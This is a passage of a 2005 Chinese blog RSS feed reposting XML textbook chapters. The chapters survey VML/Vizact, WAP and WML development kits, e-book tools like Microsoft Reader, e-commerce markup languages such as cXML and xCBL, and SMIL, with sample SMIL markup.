<P>最初Microsoft提出VML的本意是将其PowerPoint软件的输出结果放到网络上浏览，因此从Vizact的界面上就可以看出其与PowerPoint的相似之处。但其图形功能要远超于PowerPoint，除了一般的图形功能外，还可以为图形增加各种效果、滤波，以及生成动画效果，与IE5.0配合，给Web页面增加了无穷的活力。下面显示的是上图在Vizect软件中制作的页面在IE5.0中的显示结果，不过这只是Vizact强大功能的冰山之一角。</P>
<P align=center><IMG height=293 alt="TU000000-0604-0103-02.jpg (25607 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.9562/www.17t8.com/xmlbook/image/TU000000-0604-0103-02.jpg" width=329></P>
<P>Vizact的特色功能如下： 
<UL>
<LI>为选择对象添加动感和颜色效果 
<LI>可以通过设定交互动作和时间线来规定对象的显示流程 
<LI>利用图形、声音和特效增强设计的震撼力 
<LI>不用编程就可以创作出专业级作品 </LI></UL>
<P>作为Office套件的家庭一员，Vizact可以很容易地与其他成员诸如Microsoft Word、PowerPoint、Excel相集成。</P>
<P>有关Vizact的详细介绍请参看Microsoft公司主页：<A href="http://www.microsoft.com/">http://www.microsoft.com/</A>。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>6.4.2 WAP应用工具</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>移动通讯的发展，手机上网的出现，使众多通讯厂商和专门的手机网站投身于手持设备专用网页的编辑器和模拟浏览器的开发中。下面仍然是挑选几个重要的介绍给大家。 
<OL>
<LI><STRONG>UP.SDK for WML</STRONG> </LI></OL>
<P>UP.SDK for WML 开发包是由Phone.com提供的，支持WML1.1。UP.SDK包含有文档说明、工具和编码样例，帮助开发者在Phone.com 的UP.Link平台上开发WAP应用程序。</P>
<P>在该开发包中还有一个UP模拟器，可以模拟手持设备上网：</P>
<P align=center><IMG height=300 alt="TU000000-0604-0200-01.jpg (12632 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.6125/www.17t8.com/xmlbook/image/TU000000-0604-0200-01.jpg" width=141></P>
<P>该开发包的运行平台是 Windows 95/98及Windows NT 4.0。</P>
<P>有关该开发包的详细资料请参考网页：<A href="http://www.phone.com/">http://www.phone.com/</A>。 
<OL>
<LI type=disc value=2><STRONG>Nokia WAP开发包</STRONG> </LI></OL>
<P>Nokia WAP开发包是由Nokia提供的WML开发包，支持WAP1.1。它由两部分组成，一部分是WML编辑器，另一部分是一个Nokia手机的模拟器，可以边调试边显示。模拟器和编辑器分别如图所示：</P>
<P align=center><IMG height=385 alt="TU000000-0604-0200-02.jpg (23352 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.6125/www.17t8.com/xmlbook/image/TU000000-0604-0200-02.jpg" width=132></P>
<P align=center><IMG height=300 alt="TU000000-0604-0200-03.jpg (24312 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.6125/www.17t8.com/xmlbook/image/TU000000-0604-0200-03.jpg" width=441></P>
<P align=left>NokiaWML编辑器支持多文档，有多个文档界面窗口，对所编辑的WML文档可进行编译，并通过模拟器进行预览。界面友好，但不支持所见即所得，是个直接对源码进行编辑的文档编辑软件。</P>
<P>该软件的运行环境是JAVA，依托JAVA支持多文种编码的优点，该软件对中文有所支持。</P>
<P>有关该软件的详细介绍和软件下载请参考网页：<A href="http://www.nokia.com/">http://www.nokia.com/</A>。 
<OL>
<LI type=disc value=3><STRONG>Wappage</STRONG> </LI></OL>
<P>Wappage是由Wapmine.com公司开发的WML编辑软件，软件界面如图：</P>
<P align=center><IMG height=275 alt="TU000000-0604-0200-04.jpg (24175 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.6125/www.17t8.com/xmlbook/image/TU000000-0604-0200-04.jpg" width=400></P>
<P>该软件是一个不多见的交互式的所见即所得WML编辑软件，有着良好的用户界面。该软件支持项目管理，并有多个视窗方便用户编辑。有设计窗口，用户不需要知道很详细的WML标记就可以进行交互操作；另外还有编码窗口，允许用户直接修改WML代码；XML Tree窗口可以浏览结构化文档。对于Card的管理也用树形结构表示。</P>
<P>该软件的运行平台是Windows95/98/NT。</P>
<P>有关该软件的详细介绍及软件下载请参考网页：<A href="http://www.wapmine.com/">http://www.wapmine.com/</A>。<BR></P></DIV>
<P></P>
<DIV class=pt10><B>6.4.3 电子出版工具</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<OL>
<LI><STRONG>Microsoft Reader</STRONG> </LI></OL>
<P>Microsoft早在八十年代就开始关注电子图书出版，随着Internet的普及和发展，网络成为书刊出版和发行的一个新兴的媒体，而且成长速度极其迅猛，大有要取代传统纸介质媒体之势，一种手持式eBook阅读机也应运而生。XML诞生之后，Microsoft很迅速地召集了eBook业内企业，提出了一种基于XML的eBook格式标准，就是OEB1.0。为建立和扩大eBook市场，Microsoft开发出一种eBook专门的阅读软件，就是Microsoft Reader。目前该软件已经在手持电脑上亮相，下图便是一个运行在手持电脑的Reader。</P>
<P align=center><IMG height=93 src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.2453/www.17t8.com/xmlbook/image/TU000000-0604-0300-01.jpg" width=151></P>
<P>Reader的主要功能如下： 
<UL>
<LI>ClearType字符技术 
<LI>清晰、规范的显示 
<LI>充足的页边空 
<LI>合适的字距和缩排 
<LI>强大的加着重标记、注解、书签功能 
<LI>内置词典 
<LI>类似书架的eBook管理系统 
<LI>具有复制保护系统 </LI></UL>
<P>Reader的最大特色就是首次使用了Microsoft对于字符显示的研究新成果ClearType，它是一种能使文字在显示器上的显示效果象印在纸上一样平滑清晰的字符技术。ClearType的使用将加速书刊出版从纸介质转移到电子书的进程，由此出版商可以为eBook的读者提供高质量的阅读体验，字体设计者也有了更多的发挥余地，而便携式设备制造商将从能够同时提供高质量的色彩和分辨率的彩色液晶显示器上获利。</P>
<P>目前，Reader的PocketPC版本已经发布，并集成在卡西欧、康柏和惠普的手持式PC电脑中，其PC版本已推出Beta版。</P>
<P>有关该软件的详细介绍请参考网页：<A href="http://www.microsoft.com/reader">http://www.microsoft.com/reader</A>。 
<OL>
<LI type=disc value=2><STRONG>ReaderWorks standard</STRONG> </LI></OL>
<P>ReaderWorks standard是ReaderWorks.com推出的支持Microsoft Reader的软件，它可以生成Reader可读的文件格式，ReaderWorks standard界面如图所示：</P>
<P align=center><IMG height=246 alt="TU000000-0604-0300-02.jpg (19895 bytes)" src="file:///C:/Documents%20and%20Settings/leonzou/Local%20Settings/Temp/Rar$EX16.2453/www.17t8.com/xmlbook/image/TU000000-0604-0300-02.jpg" width=300></P>
<P>ReaderWorks Standard可将HTML、TXT等格式文件转换为Microsoft Reader格式，让用户生成自己的eBook。该软件提供了多个窗口，可以让用户选择eBook中包含的所有文件，这些信息是包含在后缀名为.opf的文件中，还可以让用户看到组织后的章节链接形式。</P>
<P>该软件运行在Windows98平台上。</P>
<P>有关该软件的详细介绍和软件下载请参考网页：<A href="http://www.readerworks.com/English/standard.html">http://www.readerworks.com/English/standard.html</A>。<BR><BR><BR></P></DIV>
<P></P>
<P></P></TD>
<TD width=57>　</TD></TR></TBODY></TABLE></P>]]></description>
</item><item>
<title><![CDATA[XML(42)合并]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=10855</link>
<author>xiaoqiao_xml</author>
<pubDate>2005/12/28 12:45:40</pubDate>
<description><![CDATA[
<DIV class=pt10><B>5.3.5 面向电子商务：cXML等</B></DIV>&nbsp;&nbsp;&nbsp; 
<DIV></DIV><BR>
<DIV class=pt9>
<P>前面我们讲到的各个置标语言基本上都是描述显示方式的，下面我们再简要地介绍一下几个比较著名的描述特定应用领域的置标语言，更详细、完整的介绍将放到最后一章中进行。</P>
<P>首先从现在炒得最热的电子商务领域说起：</P>
<P><STRONG>Common Markup for micropayment per-fee-links</STRONG> 
<UL>
<LI>制定者：W3C 
<LI>网上信息：http://www.w3.org/TR/Micropayment-Markup/ 
<LI>该文档提供一种扩展方法，在Web页面中，内嵌所有初始化小金额付费系统（如金额、货币、付费系统等）。该内嵌部分允许不同的付费系统的电子钱包在互操作方式中共存。 </LI></UL>
<P><STRONG>cXML ：Commerce XML</STRONG> 
<UL>
<LI>制定者：Ariba 
<LI>网上信息：http://www.cxml.org/home/ 
<LI>该文档描述了cXML1.0的协议与数据格式。它包含各种支持来自客户机或服务器的交易信息。协议互操作与交易中的文档等都在该标准中讨论了。 </LI></UL>
<P><STRONG>common eBusiness language</STRONG> 
<UL>
<LI>制定者：RosettaNet 
<LI>网上信息：http://www.rosettanet.org/general/index_general.html 
<LI>网上信息：RosettaNet是一个中立的、资金自给的、非盈利的协会。该协会致力于开发与推广电子商务标准接口。这些标准形成通用电子商务语言，在全球供应链伙伴间进行结盟处理。这是由RosettaNet协会制定了电子商务的一系列标准 </LI></UL>
<P><STRONG>tpaML ：Electronic Trading-Partner Agreement for Electronic</STRONG> 
<UL>
<LI>制定者：IBM 
<LI>网上信息：http://www.xml.org/tpaml/ 
<LI>tpaML是TPA的基础。一个TPA是一个电子合同，是用XML表示的通用合同条款和环境、参与者角色（买方和卖方）、通讯与安全协议以及商务处理（如：有效行为、次序规则）。一个TPA也定义交易伙伴间如何在运输、文档交换、以及商务协议层如何交互。<BR>IBM已将该标准提交给OASIS。 </LI></UL>
<P><BR><STRONG>xCBL ：Common Business Library </STRONG>
<UL>
<LI>制定者：Commerce One 
<LI>网上信息：http://www.commerceone.com/xml/cbl/download/index.html 
<LI>Commerce One的xCBL 2.0是第一个基于XML的跨行业的商务文档交换标准。这些商务文档包括产品描述、订单、发票、运输计划等。 xCBL 2.0是一个XML模块集和一个允许创建健壮、可重用的XML电子交易文档的框架。使用xCBL 2.0的文档框架可无缝的进行不同类型的商务文档的交换。<BR>xCBL 2.0 被Microsoft"s BizTalk initiative, OASIS, the UN/CEFACT Techniques and Methodologies Working Group等认可。<BR></LI></UL></DIV>
<P></P>
<DIV class=pt10><B>5.3.6 面向无线网：HDML和WML</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>面向无线网和手持设备的置标语言主要有：</P>
<P><STRONG>HDML：Handheld Device Markup Language Specification </STRONG>
<UL>
<LI>制定者：W3C 
<LI>网上信息：http://www.w3.org/pub/WWW/TR/NOTE-Submission-HDML-spec.html 
<LI>HDML是一种为小显示屏的手持设备定义类似超文本内容和应用的简单语言，它是通过WWW为移动通讯设备等手持设备提供服务的高效置标语言。 HDML的重点是内容的表现与布局，提供了一种清晰的导航模式，该模式不依赖于HTML的可视内容。例如：HDML提供一种高效的方式，通过这种方式WWW基础设施可以为手机、呼机、无线PDA等手持设备提供服务。 </LI></UL>
<P><STRONG>WML ：Wireless Markup Language </STRONG>
<UL>
<LI>制定者：Wireless Application Protocol Forum 
<LI>网上信息：http://www.wapforum.org/what/technical.htm 
<LI>WML是WAP论坛制定的一个基于XML的移动通信设备的置标语言，它定义了在较窄的显示设备上进行Web浏览的内容及用户界面，包括使用手机上网。WML将页面文件分割成一套用户交互操作单元，一个交互操作单元被称为一个卡（Card），用户在进行Internet访问时需要在一个或多个WML文件产生的各个卡之间来回导航。WML主要包括四个功能： 
<OL>
<LI>文字表现和输出<BR>WML支持文字和图象，包括不同格式和输出命令。如：字体的粗体定义。 
<LI>Deck和Card的组织<BR>WML将信息以Deck和Card的方式组织起来。Card定义了界面上的一个或多个单位，如一个选择菜单、一个文字窗口、一个文字输入编辑框。Card的组合称为Deck，相当于普通浏览器的一个页面。 
<LI>内部Card的浏览和链接；<BR>WML具有在Card和Deck之间进行浏览的管理功能，并支持链接。 
<LI>字符串参数和状态管理；<BR>可以用状态模式来设置所有WML Deck的参数，变量在实际运行时再起作用。<BR></LI></OL></LI></UL></DIV>
<P></P>
<DIV class=pt10><B>5.3.7 面向电子书：OEB</B></DIV>
<P>&nbsp;&nbsp;&nbsp; </P>
<DIV></DIV>
<P><BR></P>
<DIV class=pt9>
<P>面向电子书的置标语言主要是由eBook组织制定的OEB：</P>
<P><STRONG>OEB ：Open eBook</STRONG> 
<UL>
<LI>制定者：Open eBook Forum 
<LI>网上信息：http://www.openebook.org/oebpsdownload.htm 
<LI>是OEB组织成员为更好地开拓eBook市场而联合制定的eBook文档结构标准。它规定了eBook的文件格式和结构，保证了eBook文档可以正确显示在任何阅读系统中。该标准的使用群体是作家、编辑、出版商、eBook文档创建者、电子书出版系统及阅读机厂商。OEB文档基于HTML和XML语言，是标准的XML文档。OEB出版物就是一系列OEB文档的组合，另外还配有一个外部描述文件，主要记录eBook的创建信息，包括创建者、创建日期、出版者、版权声明等。OEB1.0结合了XML1.0标准、Namespace标准、HTML4.0标准、CSS1样式语言及部分CSS2样式语言、Dublin Core和USMARC描述语言、Unicode字符集以及MIME媒体类型等一些标准，制定出OEB的DTD文件。 </LI></UL></DIV>
<P></P>
<P></P>]]></description>
</item><item>
<title><![CDATA[XML(41)]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xiaoqiao_xml&amp;id=10854</link>
<author>xiaoqiao_xml</author>
<pubDate>2005/12/28 12:44:50</pubDate>
<description><![CDATA[
<DIV class=pt10><B>5.3.4 面向多媒体：融时空于一体——SMIL</B></DIV>&nbsp;&nbsp;&nbsp; 
<DIV></DIV><BR>
<DIV class=pt9>
<P>SMIL的全称是同步多媒体合成语言，即Synchronized Multimedia Integration Language。它是一种用于描述多媒体演示文档的语言，允许将一批独立的多媒体对象，包括视频、音频、图象、文字等等，在时间和空间轴上集成为一个同步的多媒体演示文档。这个规范继承了XML跨平台的优点，而且将所有资源都以URI的形式存在网络中，无须编译即可使用，推出后得到了众多厂商的支持。</P>
<P>SMIL包含了以下三方面的内容： 
<OL>
<LI>描述演示文档的屏幕布局 </LI></OL>
<P>利用layout定义窗口布局，其子元素root-layout描述主浏览窗口，region用来把窗口分为若干个区域，确定各个区域的位置、背景等等。</P>
<P>下面的SMIL片段定义了一个主窗口，并在其中定义了左右两个区域：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;layout&gt;<BR>&lt;root-layout background-color="white" height="300" width="450"/&gt;<BR>&lt;region id="scene" top="0" left="0" height="300" width="350"/&gt;<BR>&lt;region id="comment" top="20" left="370" height="260" width="430"&gt;<BR>&lt;/layout&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<OL start=2>
<LI>描述演示文档的时间行为 </LI></OL>
<P>屏幕中可以包含动画animation、视频video、音频audio、文本流textstream、文本text、图片image。这些多媒体对象可以用pal标记组织成并发形式，也可以用seq标记组织成串行形式。对于每个对象，又可以利用属性begin、end、dur、endsync、repeat具体规定它的起止时间。请见下例：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;par&gt;<BR>&lt;seq id="places"&gt;<BR>&nbsp; &lt;img id="London" region="scene" src="image/london.jpg" dur="15s"/&gt;<BR>&nbsp; &lt;img id="Paris" region="scene" src="image/paris.jpg" begin="10s" end="25s"/&gt;<BR>&nbsp; &lt;img id="Washington" region="scene" src="image/washington.jpg" dur="15s" begin="id(washington)(35)"/&gt;<BR>&lt;/seq&gt;<BR>&lt;textstream id="commenttext" region="comment" src="comment.rt" endsync=id(places)/&gt;<BR>&lt;audio id="bgmusic" src="audio/background.rm" repeat="15"/&gt;<BR>&lt;/par&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P><BR>结合前面的对空间布局的描述，这段代码的意思是：在窗口左边的区域顺次播放三幅图片，第一幅图片播放15秒，播放完毕后等待10秒后播放第二幅，第一幅图片播放完毕后的第25秒停止第二幅图片的播放，第35秒后开始播放第三幅图片，播放15秒。在播放图片的同时，右边的区域播放解说文字，直到左边的图片播放完毕后才停止播放。除此之外，还有背景音乐，将这段音乐播放15次。 
<OL start=3>
<LI>描述媒体对象间的相关链接 </LI></OL>
<P>SMIL中的超链接类似于HTML中的超链接，用户可以从一个媒体对象访问到另一个对象。其中有两个标记可供使用。标记&lt;a&gt;与HTML中的&lt;a&gt;非常相似，只是增加了属性show来规定超链接激活时，浏览器是覆盖旧窗口、新建窗口、还是暂停原来的播放。标记&lt;ancher&gt;则可以使同一个对象的不同区域指向不同的链接，或者在不同的时间指向不同的链接。</P>
<P>下面两段代码分别达到了这两种效果：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;img id="London" region="scene" src="image/london.jpg" dur="15s"&gt;<BR>&nbsp; &lt;anchor href="london1" coords="0%,0%,50%,50%" show="new"/&gt;<BR>&nbsp; &lt;anchor href="london2" coords="50%,50%,100%,100%" show="new"/&gt;<BR>&lt;/img&gt;<BR><BR>&lt;img id="Paris" region="scene" src="image/paris.jpg" begin="10s" end="25s"&gt;<BR>&lt;anchor href="paris1" begin="0s" end="5s" show="new"&gt;<BR>&lt;anchor href="paris2" begin="5s" end="15s" show="new"&gt;<BR>&lt;/img&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P><BR>最后说一说SMIL的整体结构：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;smil&gt;<BR>&nbsp; &lt;head&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;!--屏幕布局描述--&gt;<BR>&nbsp; &lt;/head&gt;<BR>&nbsp; &lt;body&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;!--时间行为描述--&gt;<BR>&nbsp; &lt;/body&gt;<BR>&lt;/smil&gt;</TD></TR></TBODY></TABLE></CENTER></DIV>
<P>把上述片段整合成一个完整的SMIL文件是这样的：</P>
<DIV align=center>
<CENTER>
<TABLE width="80%" border=1>
<TBODY>
<TR>
<TD width="100%">&lt;?xml version="1.0" encoding="GB2312"?&gt;<BR>&lt;!DOCTYPE smil PUBLIC "-//W3C//DTD SMIL1.0//EN" "http://www.w3.org/TR/REC-smil/SMIL10.dtd"&gt;<BR><BR>&lt;smil&gt;<BR>&lt;head&gt;<BR>&nbsp; &lt;layout&gt;<BR>&nbsp;&nbsp; &lt;root-layout background-color="white" height="300" width="450"/&gt;<BR>&nbsp;&nbsp; &lt;region id="scene" top="0" left="0" height="300" width="350"/&gt;<BR>&nbsp;&nbsp; &lt;region id="comment" top="20" left="370" height="260" width="430"&gt;<BR>&nbsp; &lt;/layout&gt;<BR>&lt;/head&gt;<BR><BR>&lt;body&gt;<BR>&nbsp; &lt;par&gt;<BR>&nbsp;&nbsp; &lt;seq id="places"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;img id="London" region="scene" src="image/london.jpg" dur="15s"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;anchor href="london1" coords="0%,0%,50%,50%" show="new"/&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;anchor href="london2" coords="50%,50%,100%,100%" show="new"/&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/img&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;img id="Paris" region="scene" src="image/paris.jpg" begin="10s" end="25s"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;anchor href="paris1" begin="0s" end="5s" show="new"&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp; &lt;anchor href="paris2" begin="5s" end="15s" show="new"&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;/img&gt;<BR>&nbsp;&nbsp;&nbsp; &lt;img id="Washington" region="scene" src="image/washington.jpg" dur="15s" begin="id(washington)(35)"/&gt;<BR>&nbsp;&nbsp; &lt;/seq&gt;<BR>&nbsp;&nbsp; &lt;textstream id="commenttext" region="comment" src="comment.rt" endsync=id(places)/&gt;<BR>&nbsp;&nbsp; &lt;audio id="bgmusic" src="audio/background.rm" repeat="15"/&gt;<BR>&nbsp; &lt;/par&gt;<BR>&lt;/body&gt;<BR>&lt;/smil&gt;</TD></TR></TBODY></TABLE></CENTER></DIV></DIV>
<P></P>
<P></P>]]></description>
</item>
</channel>
</rss>